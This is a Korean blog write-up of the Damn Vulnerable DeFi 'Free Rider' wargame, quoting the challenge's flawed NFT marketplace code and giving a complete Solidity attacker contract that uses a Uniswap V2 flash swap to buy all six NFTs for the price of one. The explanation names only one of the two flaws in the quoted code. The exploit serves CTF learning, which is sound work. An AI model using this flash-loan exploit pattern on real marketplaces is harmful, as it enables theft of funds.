Notice
Recent Posts
Recent Comments
Link
«   2026/10   »
일 월 화 수 목 금 토
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Archives
Today
Total
관리 메뉴

lifetime 100su

Free Rider 본문

wargame/damn vulnerable defi

Free Rider

Se0ng1 2026. 1. 25. 21:00

문제

A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.
A critical vulnerability has been reported, claiming that all tokens can be taken. Yet the developers don’t know how to save them!
They’re offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way. The recovery process is managed by a dedicated smart contract.
You’ve agreed to help. Although, you only have 0.1 ETH in balance. The devs just won’t reply to your messages asking for more.
If only you could get free ETH, at least for an instant.

NFT 마켓플레이스에 올라와 있는 개당 15 ETH 가격인 NFT 6개를 모두 구매하여 recovery 주소로 보내면 성공

FreeRiderNFTMarketplace.sol

function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
        for (uint256 i = 0; i < tokenIds.length; ++i) {
            unchecked {
                _buyOne(tokenIds[i]);
            }
        }
    }

    function _buyOne(uint256 tokenId) private {
        uint256 priceToPay = offers[tokenId];
        if (priceToPay == 0) {
            revert TokenNotOffered(tokenId);
        }

        if (msg.value < priceToPay) {
            revert InsufficientPayment();
        }

        --offersCount;

        // transfer from seller to buyer
        DamnValuableNFT _token = token; // cache for gas savings
        _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);

        // pay seller using cached token
        payable(_token.ownerOf(tokenId)).sendValue(priceToPay);

        emit NFTBought(msg.sender, tokenId, priceToPay);
    }

구매 후 금액을 owner에게 먼저 지급하는 방식이 아니라, 

owner 변경이 완료된 후에 금액을 지급하기 때문에 구매자가 그대로 돈을 받게 된다.

 

player는 현재 0.1 ETH만 가지고 있기 때문에 uniswap V2의 flashswap 기능을 이용해서 15 ETH를 빌려온 후 구매를 진행하면 된다.

PoC

1. 15 ETH flashswap 호출

2. callback에서 구매 + nft recovery주소로 전송

3. uniswap V2 pool에 원금+수수료 전송

contract Attacker {

    IUniswapV2Pair uniswapPair;
    FreeRiderNFTMarketplace marketplace;
    FreeRiderRecoveryManager recoveryManager;
    WETH weth;
    DamnValuableNFT nft;
    address player;

    constructor(IUniswapV2Pair _uniswapPair, WETH _weth, FreeRiderNFTMarketplace _marketplace, FreeRiderRecoveryManager _recoveryManager, DamnValuableNFT _nft, address _player) payable {
        uniswapPair = _uniswapPair;
        weth = _weth;
        weth.deposit{value:msg.value}();
        
        marketplace = _marketplace;
        recoveryManager = _recoveryManager;
        nft = _nft;
        player = _player;
    }

    function attack() external {
        uniswapPair.swap(15 ether, 0, address(this), "test");
    }

    function uniswapV2Call(address, uint, uint, bytes calldata) external {
        uint256[] memory tokenIds = new uint256[](6);
        for (uint256 i = 0; i < 6; i++) {
            tokenIds[i] = i;
        }
        
        weth.withdraw(weth.balanceOf(address(this)));
        marketplace.buyMany{value:15 ether}(tokenIds);
        for (uint256 i = 0; i < 6; i++) {
            nft.safeTransferFrom(address(this), address(recoveryManager), i, abi.encode(player));
        }
        
        weth.deposit{value:15.1 ether}();
        weth.transfer(address(uniswapPair), 15.1 ether);
        player.call{value:address(this).balance}(""); 
    }
    function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4){
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

 

'wargame > damn vulnerable defi' 카테고리의 다른 글

Climber  (0) 2026.02.03
Backdoor  (0) 2026.01.25
Puppet V2  (0) 2026.01.25
Puppet  (0) 2026.01.18
Compromised  (0) 2026.01.18